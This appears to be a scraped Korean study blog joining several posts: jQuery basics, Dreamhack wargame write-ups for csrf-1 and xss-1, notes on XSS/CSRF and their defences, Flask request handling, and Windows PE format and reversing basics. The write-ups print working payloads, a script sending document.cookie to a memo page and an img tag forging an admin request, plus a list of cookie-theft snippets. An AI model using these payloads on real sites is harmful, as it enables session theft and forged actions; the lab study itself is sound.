라이브러리 

:: 자신이 만들고자 하는 프로그램에 필요한 부품들이 되는 소프트웨어들을 잘 정돈해 놓은,

재사용하기 쉽게 돼 있는 소프트웨어이다.

 

프레임워크

:: 자신이 만들고자 하는 것이 있을 때 그것이 무엇이냐에 따라 언제나 필요한 공통적인 것이 있고, 

기획 의도에 따라 달라지는 부분이 있다. 이 공통적인 부분이 프레임워크이다. (뼈대)

 

프레임워크 = 라이브러리 + 클래스 라고 생각하면 쉽다.

 


자바스크립트 라이브러리에서 가장 유명한 것은 jQuery라는 라이브러리이다.

jQuery는 상당히 오래됐고, 아주 안정적인 라이브러리이다. 이것을 사용하면 생산성, 효율성이 훨씬 높아진다.

 

사용 방법

1. jQuery 라이브러리를 다운로드 받고 그 파일을 프로젝트 디렉터리로 옮긴다.

2. CDN(Content Delivery Network)을 이용한다.

  - 많은 라이브러리들은 CDN을 통해 자신들의 서버에 파일을 보관해놓고, 사용자는 <script> 태그의 src 속성을 통해 가져가는 방식을 취한다.

출처 jQuery 사이트
가장 최신의 것
<script> 태그로 삽입
jQuery를 통해 반복문을 짧게 줄인 예시

$('a')는 이 웹 페이지의 모든 <a> 태그를 jQuery로 제어하겠다는 뜻이다.

 

jQuery를 통해 기존 코드 수정 예시2

자바스크립트를 통해 우리 대신 css( )라는 함수를 jQuery가 만들어 두어 대신 처리해주는 것이다.

 

 

이런 식으로 jQuery 라이브러리를 사용한다면 코드는 더욱 직관적이고 간결해진다.

'WEB > JavaScript' 카테고리의 다른 글

JSON  (0) 2021.05.02
Open API 활용  (0) 2021.05.02
웹 브라우저 제어  (0) 2020.11.08
콘솔  (0) 2020.11.05
이벤트  (0) 2020.11.05

그림 1 첫 화면
그림 2 csrf 페이지

xss 공격이 막혀 있는 것 같다.

@app.route('/csrf')
def csrf():
    csrf = request.args.get('csrf', '').lower()
    xss_filter = ['frame', 'script', 'on']
    for _ in xss_filter:
        csrf = csrf.replace(_, '*')
    return csrf

코드를 보니 아니나 다를까,

클라이언트가 전달한 csrf의 값 중에서 frame, script, on 이라는 문자열이 있다면 

해당 문자열을 *로 바꾸고 있다.

 

따라서 xss 공격을 위해선 다른 태그를 사용해야 할 것이라고 생각했다.

 

그림 3 memo 페이지

memo_text = ''
@app.route('/memo')
def memo():
    global memo_text
    text = request.args.get('memo', None)
    if text:
        memo_text += text.replace('<', '&lt;') + '\n'
    return render_template('memo.html', memo=memo_text)

memo 페이지는 앞서 xss 문제(2021/01/23 - [Study/WEB Hacking] - Dreamhack | 워게임 | 문제)에서 풀었던 것과 똑같이 구성되어 있다.

 

그림 4 notice_flag 페이지

아무것도 안 했는데 Access Denied가 뜬다.

@app.route('/admin/notice_flag')
def admin_notice_flag():
    global memo_text
    if request.remote_addr != '127.0.0.1':
        return 'Access Denied'
    if request.args.get('userid', '') != 'admin':
        return 'Your not admin'
    memo_text += f'[Notice] flag is {FLAG}\n'
    return 'Ok'

해당 페이지 코드를 보니 고려해야 할 if 문이 두 개나 있다.

① request.remote_addr != '127.0.0.1' : 접속한(클라이언트의) IP 주소가 127.0.0.1이 아니라면~

② request.args.get('userid',' ') != 'admin' : userid에 해당하는 값이 admin이 아니라면~

 

접속한 IP 주소가 127.0.0.1이 아니었기 때문에 Access Denied가 뜬 것이다.

그렇다면 접속 IP주소를 127.0.0.1로, userid 값을 admin으로 설정해준다면

global 변수인 memo_text에 flag 값이 들어가 memo 페이지에 써져 있을 것이라고 생각했다.

 

 

그림 5 flag 페이지

@app.route('/flag', methods=['GET', 'POST'])
def flag():
    if request.method == 'GET':
        return render_template('flag.html')
    elif request.method == 'POST':
        csrf = request.form.get('csrf', '')
        if not read_url(csrf):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

그림 6 app.py 일부. read_url( )

flag 페이지에선 'csrf'의 값을 알아낸 후 read_url() 함수에 넣어 실행시키고 있다.

 

마지막 부분인

driver.get(f'http://127.0.0.1:8000/csrf?csrf={urllib.parse.quote(url)}') 에 의해 해당 페이지가 불러와지므로

csrf 페이지 내에서 공격을 하기로 했다.

 

csrf 페이지에서 공격할 때 frame, script, on 태그는 사용하지 못하므로

img 태그를 사용했다.

 

<img src="http://127.0.0.1:8000/admin/notice_flag?userid=admin"> 입력

 

그림 7 memo 페이지

그리고 나서 memo 페이지를 가면 빨간 표시한 두 줄이 뜬다.

'WEB > WEB Hacking' 카테고리의 다른 글

Server - side Vulnerability ① Injection  (0) 2021.03.08
Server - side Vulnerability  (0) 2021.03.06
Client-side Attack  (0) 2021.01.25
Flask, HTTP 요청 방식  (0) 2021.01.24
Dreamhack | 워게임 | <xss-1> 문제  (0) 2021.01.23

Client-side Attack. 앞서 설명했듯이 서비스 사용자에 대한 공격이다.

 

공격자의 주 목적은 무엇일까?

:: 사용자로부터 본인을 식별하기 위한 정보, 즉 쿠키나 세션에 저장된 세션 아이디 정보를 탈취해 사용자 권한을 얻거나

사용자의 브라우저에서 자바스크립트 등을 실행하는 등의 특별한 행위를 수행

사용자가 요청을 보낸 것처럼 하는 것이다.

 

 

그렇다면 클라이언트 사이드 취약점이 발생하는 이유는 무엇일까?

① 웹 브라우저는 Stateful한 상태를 유지하기 위해 모든 HTTP 요청에 쿠키를 함께 보낸다.

   (stateful : server side에 client와 server의 동작, 상태정보를 저장하는 형태)

:: 웹 브라우저는 HTTP 요청을 생성할 때 시작 주소(Referer)와 상관없이 대상 호스트가 발급한 쿠키를 삽입한다.

 

② 자바스크립트를 이용해 페이지 내의 요소들을 관리한다.

:: 외부 리소스를 불러오는 엘리먼트(iframe, img, video 등)를 자바스크립트로 관리하면 사용자의 동의없이 해당 내용을 읽거나 변조할 수 있게 된다.

 

이러한 공격을 막기 위해 Same Origin Policy(SOP) 정책이 탄생한다.

(*SOP : 서로 다른 오리진의 문서 또는 스크립트의 상호작용을 금한다)

(*오리진 : 프로토콜(protocol,scheme), 포트(port), 호스트(host)로 구성되며 구성요소가 모두 일치해야 같은 오리진이다)

 

일반적으로 SOP의 영향으로 서로 다른 리소스와 공유하지 못하지만 공유해야 하는 상황이 있을 수 있다.

따라서 SOP가 적용된 상태에서도 리소스를 공유하는 법인 Cross Origin Resource Sharing(CORS)가 등장한다.

(이는 나중에 따로 다뤄보기로 한다.)

 


이제 클라이언트 사이드 취약점을 알아보자

ⓐ Cross Site Scripting(XSS)

:: 공격자의 입력값이 크로스 사이트의 자바스크립트 일부로 웹 브라우저에서 실행되는 취약점이다.

:: 실행된 스크립트는 해당 사이트의 일부가 되어 SOP의 제약없이 사이트의 구조를 변경하거나, 임의의 HTTP 요청 등을 실행할 수 있다.

 

-- 성공적 공격을 위한 조건

   1. 입력 데이터에 대한 충분한 검증 과정이 없어야 한다.

   2. 서버의 응답 데이터가 웹 브라우저 내 페이지 출력 시 충분한 검증 과정이 없어야 한다.

 

-- 자바스크립트를 이용한 공격

    (ex; 화면 구성 바꾸기, 사용자 권한으로 정보 조회하기, 웹 브라우저 위치 바꾸기 등)

    :: 대표적 방법은 script 태그를 이용하는 방식 (script 태그 : 다른 프로그래밍 언어 연결시 사용하는 태그)

    공격자가 입력 데이터로 script 태그를 전송해 다른 사용자의 응답에 포함되면 공격자의 자바스크립트가 실행된다.

    :: on* 이벤트를 사용하는 방식

 

(1) Stored XSS

:: 악성 스크립트가 서버 내에 존재하는 데이터베이스 또는 파일형태로 저장되어 있다가

사용자가 이를 조회하는 순간 발생하는 형태

(ex; 게시판 조회)

 

(2) Reflected XSS 

:: 악성 스크립트가 사용자의 요청과 함께 전송되는 형태

:: 사용자가 요청한 데이터가 서버의 응답에 포함되어 HTML 등의 악성 스크립트가 그대로 출력된다.

(ex; 특정 링크 유도)

+ Click Jacking, Open Redirect 취약점과 연계되어 발생하는 경우도 있다.

 

-- 방어기술

ⓐ Server-side Mitigations(방어)

:: XSS를 유발할 수 있는 태그삽입 방지를 위해 서버 단에서 검증하는 방식

- 사용자의 입력값이 HTML 태그가 될 일이 없다면 특수문자를 HTML Entity Encoding을 이용해 태그로 인식되지 않도록 함

- 현재 IP 주소와 로그인했던 IP주소로 비교하는 방법 (요즘은 Wifi의 사용으로 동일 IP 검사가 아닌 동일 국가인지 탐지하는 것으로 변경)

 

ⓑ HTTPOnly Flag

:: 서버 측에서 응답 헤더에 Set-Cookie 헤더를 전송(Set-Cookie: session=sbdh1vjwvq; HttpOnly)해 자바스크립트로 해당 쿠키에 접근하는 것을 금지

- HTTPOnly로 설정한 쿠키는 document.cookie API를 통해 접근할 수 없다.

 

ⓒ Content Security Policy(CSP)

:: 응답 헤더(Content-Security-Policy: <지시어>; ...)나 meta 태그(<meta http-equiv="Content-Security-Policy" content="지시어")를 통해 선언 

:: 각각의 지시어를 적용하여 사이트에서 로드하는 리소스들의 출처를 제한

 

ⓓ X-XSS-Protection Header

:: 응답 헤더에 선언 X-XSS-Protection: <값>

:: 웹 브라우저에 내장된 XSS Filter의 활성화 여부를 판단

 

ⓑ Cross Site Request Forgery(CSRF 또는 XSRF)

:: 비정상적으로 사용자의 의도와 무관하게 HTTP 요청을 보내는 것(사용자 권한 이용). Forgery = '위조'

-- 기본

   : 웹 브라우저는 SOP에 위반되지 않는 모든 요청에 쿠키를 포함해 전송한다.

 

-- 공격자가 취할 수 있는 이득

   : 해당 세션 쿠키를 가진 사람만 사용할 수 있는 기능을 요청할 수 있다. 

   (ex; 금액 송금, 패스워드 변경)

 

-- 성공적 공격을 위한 조건

   1. 해당 웹 사이트가 쿠키를 이용한 인증방식을 사용해야 한다.

   2. 공격자가 사전에 알 수 없는 파라미터가 존재하면 안된다.

      (ex; 자동 입력 방지 문자, 기존 패스워드 등)

 

-- 방어기술

ⓐ 세션 쿠키 대신 커스텀 헤더를 사용하여 사용자 인증

:: 사용자 인증만을 위한 헤더를 추가 (e.g. Authorization)

 

ⓑ 공격자가 예측할 수 없는 파라미터 추가 및 검증

:: 같은 오리진에서만 접근 가능한 데이터 삽입 (CSRF Token)

:: CAPTCHA

:: 정상적 사용자만 알고있는 값 검증(ex; 현재 비밀번호)

'WEB > WEB Hacking' 카테고리의 다른 글

Server - side Vulnerability  (0) 2021.03.06
Dreamhack | 워게임 | <csrf-1> 문제  (0) 2021.01.26
Flask, HTTP 요청 방식  (0) 2021.01.24
Dreamhack | 워게임 | <xss-1> 문제  (0) 2021.01.23
웹 해킹 기초  (0) 2021.01.23

IAT & EAT 이해

# Sample 01.exe는 Beep() API를 사용

# Beep() 기능은 kernel32.dll에서 제공

# Sample 01.exe는 Beep() API 주소를 어떻게 알아낼까?

 

Sample 01.exe를 실행하면 PE 로더가 이것과 kernel32.dll을 함께 올린다.

이 올리는 과정에서 PE 로더는 kernel32.dll의 EAT로 가서, Beep() API의 실제 호출 주소를 알아온다. 

그리고 나서 이것(주소)을 Sample 01.exe의 IAT에 기록한다.

그러면 Sample 01.exe는 필요할 때마다 자신의 IAT를 참고하여 함수를 호출하는 것이다.

 


그림1 kernel32.dll_Beep_API RVA : 0x00083081

 

그림 2 kernel32.dll_Image Base : 0x76030000

0x00083081 + 0x76030000 = 0x760B3081 (Beep 호출 주소)

 

그림3 Sample 01.exe의 Import Address Table 영역

 

그림4 Beep() API 호출 코드에서 바로 확인 가능

 

Beep() API를 호출할 때 직접 호출하지 않고 0x00405000 주소에 있는 4Byte 값을 가져와서 호출한다.

0x00405000 주소는 Sample 01.exe의 Import Address Table(IAT) 영역이다.

해당 주소로 이동해보면 Sample 01.exe가 사용하는 API들의 호출 주소가 기록되어 있다.

 

'Study > Reversing' 카테고리의 다른 글

main 함수 찾기  (0) 2021.03.23
OllyDBG, 어셈블리어  (0) 2021.02.04
PE 헤더  (0) 2021.01.24
PE File Format 이해  (0) 2021.01.23
리버싱의 이해  (0) 2021.01.22

PE 헤더

:: 작은 구조체들이 모여서 만들어진 데이터 덩어리

:: 크게 DOS Header와 DOS Stub, NT Header, Section Header로 구성

 

 

PE 헤더 (출처 위키백과)

 

 

DOS Header DOS Header는 DOS와 호환성을 위해 만들었다. 파일의 처음에 위치하고 0x40의 크기를 갖는다.
DOS Stub 해당 파일이 MS-DOS에서 실행될 경우, 화면에 출력될 메시지와 코드가 기록되어 있다. 
DOS Stub은 옵션이기 때문에 파일 실행에 영향이 없다. 크기가 일정하지 않고 없어도 되는 영역이다.
NT Header 파일 실행에 필요한 중요 정보들을 담고 있다. 0xF8의 크기를 갖는다.
Section Header  각 섹션의 속성 정보를 담고 있다.

 

ⓐ DOS Header

- DOS Signature : 실행 파일이라는 표식. 2Byte이고 "MZ(0x5A4D)" 값을 가진다.

- NT Header Offset : NT 헤더의 시작 지점에 대한 정보를 담는다. 4Byte.

 

ⓑ NT Header 

- PE Signature : 올바른 PE 파일인지 확인하는 용도로 사용된다. 4Byte이고 "0x50450000"값을 가진다.

- FILE HEADER : 파일의 Physical 정보를 담고 있는 구조체이다.

Machine에서 UPU -> CPU (오타)

- OPTIONAL HEADER : 파일의 Losical 정보를 담고 있는 구조체이다.

 

ⓒ Section Header

- VirtualSize : 메모리에서 섹션이 차지하는 크기이다.

- RVA(VirtualAddress) : 메모리에서 섹션의 시작 주소이다.

- SizeOfRawData :  파일에서 섹션이 차지하는 크기이다.

- OffsetToRawData : 파일에서 섹션의 시작 주소이다.

- Characteristics :  섹션의 속성 정보를 담고 있다.

 

VA (Virtual Address, 가상주소) & RVA (Relative Virtual Address, 상대주소)

:: 특정 값의 위치 정보를 표현할 때

파일에서의 위치(Offset), 메모리에서의 위치(VA), 메모리에서의 상대 위치(RVA)를 사용한다.

여기서 RVA는 파일 데이터가 메모리에 올라간 시작 지점으로부터 떨어져 있는 상대 위치이다.

VA = Image Base + RVA

(Image Base는 OPTIONAL HEADER에 있다.

실행파일이 메모리에 올라간 위치로, 파일 데이터가 메모리에 올라갈 때 기준이 되는 주소 값을 가진다. 기본적으로 EXE는 0x004000000, DLL은 0x10000000 값을 가진다.)

 

ⓓ IAT(Import Address Table)와 EAT(Export Address Table)

Windows 운영체제에서 EXE가 동작할 때 DLL이라는 비서를 두고 활용하게끔 만들어져 있다. 이것을 가능하게 하는 것이 IAT와 EAT 메커니즘이다. 

- IAT : DLL이 제공하는 함수들 중 사용하는 것들에 대한 정보를 기술해놓은 테이블

(ex; EXE를 로드하는 과정에서 필요한 함수 호출 주소 정보를 획득하여 EXE의 IAT에 기록, EXE는 동작 과정에서 필요할 때마다 IAT를 참고하여 함수를 호출)

- EAT : DLL 자신이 서비스하는 함수에 대한 정보를 기술해 놓은 테이블

 

 

'Study > Reversing' 카테고리의 다른 글

main 함수 찾기  (0) 2021.03.23
OllyDBG, 어셈블리어  (0) 2021.02.04
IAT & EAT  (0) 2021.01.25
PE File Format 이해  (0) 2021.01.23
리버싱의 이해  (0) 2021.01.22

웹 해킹 문제를 푸는데 Flask 사용법을 몰라 문제를 풀 때 한참 헤멨다.

Flask 사용법을 점차 익혀야겠다.

 

 

 

문제 페이지 소스코드

Flask 에서 처리하기 전에 먼저 html 소스에서 <form><input> 에 보면 name 이라는 속성이 있다.

이 name의 속성 값이 중요하다.

클라이언트에서 서버로 데이터를 전송할 때 이름과 값의 쌍이 전송이 되는데 이 형태는 key 와 value로 표현이 될 수 있다.

그래서 <input type="text" name="xss"> 에서 xss 이라고 하는 것이 key가 되고  이 텍스트 박스에서 입력된 내용은 value가 된다.

 

 

app.py

@라고 되어있는 부분은 파이썬에서 데코레이터(decorator)라고 부르며, 이를 사용하여 app의 객체의 route 함수에 request 인자를 넘기면서 HTTP 요청을 처리한다.

request는 보통 get, post 방식으로 넘어온 데이터를 처리할 때 필요하다.

사실 "request"는 서버 측에서 요청한다는 의미. 즉, 사용자가 서버로 보내오는 요청이나 데이터를 얻어내는 역할을 하는 것이 이 request 객체의 역할이다.

GET 방식으로 요청 파라미터를 가져오려면 request 객체의 args 함수를 호출하면 된다.

POST 방식으로 요청 파라미터를 가져오려면 request 객체의 form 함수를 호출하면 된다.

+ get 함수의 첫 번째 인자는 요청 파라미터명, 두 번째 인자는 해당 요청 파라미터가 없을 시의 초기값이다.

 

밑의 함수는 @app.route 데코레이터 URL과 자신을 연결한다.

 

저기에서 '/'로 요청(request)을 하면 (즉 http://127.0.0.1/(생략가능) 여기로 접속하면) index() 함수가 실행된다는 것이다.

 

** HTTP 요청 방식

클라이언트에서 웹 서버로 요청할 때 어떤 방식으로 데이터를 전달할 것인지를 정한다. 

GET 서버로부터 정보를 조회 또는 요청(데이터를 Body에 담지 않고 URL에 쿼리스트링을 통해 전송)
가장 일반적인 요청 방식
* 쿼리스트링: URL의 끝에 ?와 함께 이름과 값으로 쌍을 이루는 요청 파라미터 (파라미터가 여러 개이면 &로 연결)
HEAD GET 요청으로 반환될 데이터 중 헤더 부분에 해당하는 데이터만 요청
POST 클라이언트에서 서버로 처리할 수 있는 데이터를 보냄(데이터를 HTTP 메세지의 Body에 담아서 전송)
보통 HTML 폼을 통해 데이터를 전송
PUT 클라이언트가 서버에게 지정한 URL에 지정한 데이터를 저장할 것을 요청. POST와 유사
DELETE 클라이언트가 서버에게 지정한 URL의 정보를 제거할 것을 요청
OPTIONS 해당 URL에서 지원하는 request method를 알려줌

 

 

'WEB > WEB Hacking' 카테고리의 다른 글

Dreamhack | 워게임 | <csrf-1> 문제  (0) 2021.01.26
Client-side Attack  (0) 2021.01.25
Dreamhack | 워게임 | <xss-1> 문제  (0) 2021.01.23
웹 해킹 기초  (0) 2021.01.23
Dreamhack | 워게임 | <simple_sqli>문제  (0) 2020.11.19

 

처음 화면

xss, memo, flag 각각의 페이지가 있다.

 


분석

xss 클릭시 나오는 화면

자세히 보면 xss 값에 <script>alert(1)</script>가 들어가 있다.

그리고 이에 대해 그대로 그 결과를 보여주었다는 것은

웹 페이지 내에서 XSS 공격이 가능하다는 의미이다.

 

 

 

memo 클릭시 나오는 화면

memo를 클릭했을 때는 memo안에 hello 값이 들어가있고,

이를 화면에 출력하고 있다.

 

 

 

flag 클릭시 나오는 화면
flag.html의 소스코드 확인

 

이 부분이 중요해 보였다.

'xss라는 이름으로 POST 방식으로 넘겨지는 요 부분'이 우리가 채울 부분이다.

 

 

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/xss') 
def xss():
    xss = request.args.get('xss', '') 
    return xss 

@app.route('/flag', methods=['GET', 'POST'])
def flag():
    if request.method == 'GET':
        return render_template('flag.html')
    elif request.method == 'POST': 
        xss = request.form.get('xss') 
        if not read_url(xss, {'name': 'flag', 'value': FLAG}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

memo_text = ''
@app.route('/memo')
def memo():
    global memo_text
    text = request.args.get('memo', None)
    if text:
        memo_text += text.replace('<', '&lt;') + '\n'
    return render_template('memo.html', memo=memo_text)

↑app.py 코드 일부

 

[GET] /xss 에서는 xss 파라미터가 그대로 출력되고,

[GET] /memo에서는 'memo' 파라미터를 저장(text)하고 저장된 값(memo_text)들을 보여준다.

[POST] /flag 에선 read_url 로 'xss' 파라미터와 'flag' 쌍을 넘겨준다.

 

 

아무리 고민해도,, 어디부터 봐야할지 감이 안 잡혀 힌트를 봤는데, 먼저 /memo가 왜 있는지 생각해보라고 했다.

나중에 알아냈지만 /memo의 역할은 get 방식으로 'memo' 파라미터 값으로 쿠키값(document.cookie)을 전달받으면

이 페이지에 나타내도록 하는 것이다.

 

/memo에서 궁금한게 있었다. 왜 replace 함수를 사용해서 < 부등호를 &lt;로 변환을 할까?

자바스크립트를 이용한 공격을 막기 위해서?

 

 

def read_url(url, cookie={'name': 'name', 'value': 'value'}):
    cookie.update({'domain':'127.0.0.1'})
    try:
        options = webdriver.ChromeOptions()
        for _ in ['headless', 'window-size=1920x1080', 'disable-gpu', 'no-sandbox', 'disable-dev-shm-usage']:
            options.add_argument(_)
        driver = webdriver.Chrome('/chromedriver', options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get('http://127.0.0.1:8000/') #URL에 접근
        driver.add_cookie(cookie)
        driver.get(f'http://127.0.0.1:8000/xss?xss={urllib.parse.quote(url)}')
        #urllib.parse.quote(string, safe='/', encoding='utf-8', errors='strict'): 인자로 주어진 문자열에서 특수문자를 문자열로 변환해서 반환
    except:
        driver.quit()
        return False
    driver.quit()
    return True

그 후, 핵심 코드인 read_url을 이해하려 하였다.

 

/flag 페이지에서 'xss'의 데이터를 POST 방식으로 보내면 read_url 함수가 동작하는데,

read_url에선 flag 쌍을 'cookie'로 설정하고,

FLAG 변수의 내용이 담긴 flag 쿠키가 생성(add_cookie(cookie))된다

 

그 후, /xss?xss={입력한 부분} 으로 get request를 보낸다.

따라서 'xss' 값을 아래와 같이 적으면 document.cookie를 memo에 입력할 수 있게 된다.

 

 

처음에 이해가 안 갔던 것은 driver.get(f'http://127.0.0.1:8000/xss?xss={입력한 부분}') 이 코드가 왜 필요한가,, 였는데

이게 진짜 핵심이었던 것..

접속하는 호스트에 서버를 연결시켜 XSS 공격을 유발하도록 하는 부분이었다.

(이 문제에서 공격자는 로컬(나)이기 때문에 주소를 http://127.0.0.1/로 설정하는 것임)

 

 

 

빈칸 입력

빈칸에 <script>location.href="/memo?memo="+document.cookie;</script>를 입력.

location.href를 통해 지정한 위치(해커 사이트, memo)로 리다이렉션되고, document.cookie 정보를 함께 입력시켜

사용자의 쿠키가 지정한 위치(해커 사이트, memo)에 출력된다.

 

 

 

memo 페이지

즉, /xss페이지에 'xss'값이 전달되고 실행되어 '잠깐 동안 존재했던 flag 쿠키'가 /memo 페이지에 기록된다.

 

더보기

Flask에서 GET,POST 사용하는 방법 조금씩 익히기

# render_template : html 파일 불러옴

# GET과 POST는 둘 다 서버로 요청하는 방식
# GET 방식 : 모든 파라미터를 url로 보내는 것(눈에 보임) => Flask에서 제공하는 request객체의 args 함수 호출

# get 함수의 첫 번째 인자는 요청 파라미터명, 두 번째 인자는 초기값, 그 다음은 타입

# POST 방식 :전달하려는 정보가 HTTP Body에 포함되어 전달되는 것(눈에 안보임) => request 객체의 form 함수 사용

 

더보기

꼭 알아둘 웹 사이트에서 정보 탈취나 위치 이동&변조가 가능한 코드들!

<script>

alert("hi"); <!--메시지 출력-->

document.cookie; <!--쿠키값-->

location.href=""; <!--""내의 링크로 위치 이동-->

document.location=""; <!--""링크로 이동-->

</script>

 


주절주절 썼지만

계속 풀면서 들었던 생각은

'탄탄한 기본기 갖추기'라는 것이다. 

까먹거나 모르는 부분을 쬐금씩 찾으면서 하니까 너무 오래걸렸다.

다시 공부하러,, 고고╭(๑•̀ㅂ•́)و

'WEB > WEB Hacking' 카테고리의 다른 글

Client-side Attack  (0) 2021.01.25
Flask, HTTP 요청 방식  (0) 2021.01.24
웹 해킹 기초  (0) 2021.01.23
Dreamhack | 워게임 | <simple_sqli>문제  (0) 2020.11.19
Dreamhack | 워게임 | <cookie>문제  (0) 2020.11.19

웹 

:: 월드 와이드 웹(World Wide Web) 또는 웹(Web) 

:: 거미줄(Web)에서 따온 이름으로, 서로 연결되어 정보를 공유한다는 의미에서 사용

 

인터넷 상의 서비스 중 HTTP를 이용하여 정보를 공유하는 통신 서비스가 웹(Web)이며

서비스를 제공하는 대상을 웹 서버(Web Server), 서비스를 받는 사용자를 웹 클라이언트(Web Client)라고 부른다.

 

초기 웹은 단지 페이지 상에서 문자를 출력해주는 역할이 컸지만 ,

오프라인 상의 물리적이었던 정보들이 웹 안으로 들어오게 되면서 

보안의 중요성이 커지게 된다.

 

 

웹 해킹 개요

크게 Client-side Attack, Server-side Attack으로 나뉜다.

 

ⓐ Client-side Attack

:: 서비스 사용자에 대한 공격

웹을 이용하는 사용자는 웹 브라우저를 통해 서비스를 제공받는데, 웹 서버가 제공해주는 데이터가 공격자에 의해 변조되었을 경우 웹 브라우저에서 렌더되는 과정에서 취약점이 발생하는 경우가 대표적

 

ⓑ Server-side Attack

:: 서버에 대한 공격

운영되는 서비스의 구조와 특징에 따라 다양한 공격 형태가 존재하며, 공격자가 공격에 성공하게 되면 서버의 어플리케이션 코드 또는 다른 사용자의 정보 유출, 서버 탈취 등으로 이어질 수 있음

'WEB > WEB Hacking' 카테고리의 다른 글

Client-side Attack  (0) 2021.01.25
Flask, HTTP 요청 방식  (0) 2021.01.24
Dreamhack | 워게임 | <xss-1> 문제  (0) 2021.01.23
Dreamhack | 워게임 | <simple_sqli>문제  (0) 2020.11.19
Dreamhack | 워게임 | <cookie>문제  (0) 2020.11.19

PE File Format

:: Windows 운영체제에서 동작하는 실행 파일의 구성 방식

:: 실행 파일이 어떻게 구성되어야 하는지, 그 원칙을 정의해 놓은 것

:: Microsoft가 운영체제를 설계하는 과정에서 실행파일의 효율적이고 합리적인 구성을 고민하고 선택한 방식

:: 다양한 운영체제에서의 이식성을 보여준다는 뜻에서 이식이 가능한 실행형식(Portable Executable)이라는 이름이 붙음

 

PE 파일의 종류

ⓐ 실행 파일 계열 : EXE, SCR(Screen Saver)

ⓑ 라이브러리 계열 : DLL, OCX(Active X)

ⓒ 드라이브 계열 : SYS

ⓓ 오브젝트 파일 계열 : OBJ

 

PE 파일을 만들 떄, 일반적으로 Visual Studio와 같은 개발 도구를 사용한다.

(개발 도구 → 코드 작성 → 컴파일 → 실행 파일(exe)완성)

 

 

실행 파일을 만드는 과정은 어떻게 될까?

1. 코드와 데이터를 분리 (실행 코드 : .text 섹션에 기록 // 데이터 : .data 섹션에 기록)

2. 코드 → 기계어로 변환

3. 문자열 데이터 아스키 값으로 변환

4. 명령코드와 아스키 값을 담기 위한 생성 (PE File Format)

5. PE 헤더 작성 (PE헤더 : 파일 실행에 필요한 정보가 기록되어 있는 영역)

   --- 사용자가 작성한 값이 아니라, 코드를 컴파일하는 과정에서 컴파일러가 알아서 작성함

   --- 컴파일러가 PE 파일에 Header를 기록하는 이유 ? PE 파일을 만드는 것은 컴파일러지만, 실행 주체는 운영체제

                                                                       따라서 운영체제 입장에서 PE 파일을 실행하기 위해 필요한 정보를 담아줘야 함

6. 명령코드 채움 (.text 섹션 : 파일이 동작하는 데 필요한 코드가 기록되어 있는 영역)

7. 데이터 채움 (.data 섹션 : 파일이 실행될 때 필요한 부가적인 정보가 기록되어 있는 영역)

8. 실행 파일 완성!

 

 

 

'Study > Reversing' 카테고리의 다른 글

main 함수 찾기  (0) 2021.03.23
OllyDBG, 어셈블리어  (0) 2021.02.04
IAT & EAT  (0) 2021.01.25
PE 헤더  (0) 2021.01.24
리버싱의 이해  (0) 2021.01.22

리버싱

:: 소프트웨어 공학의 한 분야로, 이미 만들어진 시스템을 역으로 추적하여

처음의 문서나 설계기법 등의 자료를 얻어내는 일

 

즉, 사람이 인식하기 어려운 기계어를 재번역하고, 재번역된 코드를 읽어서 기능과 역할을 알아낸다고 보면 된다.

 

 

소스코드

 

Visual Studio 와 같은 개발 툴을 이용해서 코드를 작성하고 컴파일을 하면 실행 파일이 만들어진다.

TEST.exe 파일 확인

 

실행파일이 만들어졌다는 것은 우리가 작성한 코드가 기계어로 변환되었음을 의미한다.

 

기계어로 번역된 main()코드의 일부

 

그리고 이 기계어를 CPU가 읽어서 문자열을 출력시킨다.

TEST.exe 파일 실행

------------------------------------------------------------------------------------------------------------------------------

 

이제 실행 파일을 리버싱해보자

앞서 언급했듯이 실행 파일에는 기계어로 번역된 main() 함수 코드가 있다.

하지만 우리는 기계어를 읽을 수 없다.

 

따라서 리버싱 작업은 보통 WinDBG나 IDA, OllyDBG와 같은 디버깅(디컴파일러) 툴을 사용해서 이루어진다.

이러한 툴들은 사람이 인식하기 어려운 기계어를 재번역하는 데 일차적인 목적이 있다.

 

OllyDBG.exe와 같은 툴로 TEST.exe 파일을 확인하면 

기계어에서 어셈블리어로 재번역된 main()함수 코드를 확인할 수 있다.

 

TEST.exe 메인코드

 

리버싱은 한 마디로, "디버거에서 재번역해 준 어셈블리 코드를 잘 읽고, 기능과 역할을 도출하는 것"이다.

 

------------------------------------------------------------------------------------------------------------------------------

 

리버싱(분석) 방법

 

ⓐ 정적 분석(Static Analysis)

:: 파일을 실행하지 않고 파일의 겉모습을 관찰하여 분석하는 방법

  -- 파일의 종류, 크기, 헤더 정보(PE), Import/Export API, 내부 문자열, 실행 압축 여부, 등록 정보, 디버깅 정보, 디지털인증서 등의 다양한 내용을 확인할 수 있다.

  -- 디스어셈블러(ex; IDA)를 이용해 내부 코드와 구조를 확인할 수 있다.

 

==> 실행 파일을 구성하는 모든 요소, 대상 실행 파일이 실제로 동작할 CPU 아키텍처에 해당하는 어셈블리 코드를 이해하는 것이 필요

 

ⓑ 동적 분석(Dynamic Analysis)

: 파일을 실행시켜 행위를 분석하고, 디버깅하여 코드 흐름과 메모리 상태를 살펴보는 방법

  -- 파일, 레지스트리, 네트워크 등을 관찰하면서 프로그램의 행위를 분석한다.

  -- 디버거(ex; OllyDBG)를 이용하여 프로그램 내부 구조와 동작 원리를 분석한다.

 

==> 실행 단계별로 자세한 동작 과정을 살펴봐야 하므로, 환경에 맞는 디버거를 이용해 단계별로 분석하는 기술을 익혀야함

'Study > Reversing' 카테고리의 다른 글

main 함수 찾기  (0) 2021.03.23
OllyDBG, 어셈블리어  (0) 2021.02.04
IAT & EAT  (0) 2021.01.25
PE 헤더  (0) 2021.01.24
PE File Format 이해  (0) 2021.01.23

+ Recent posts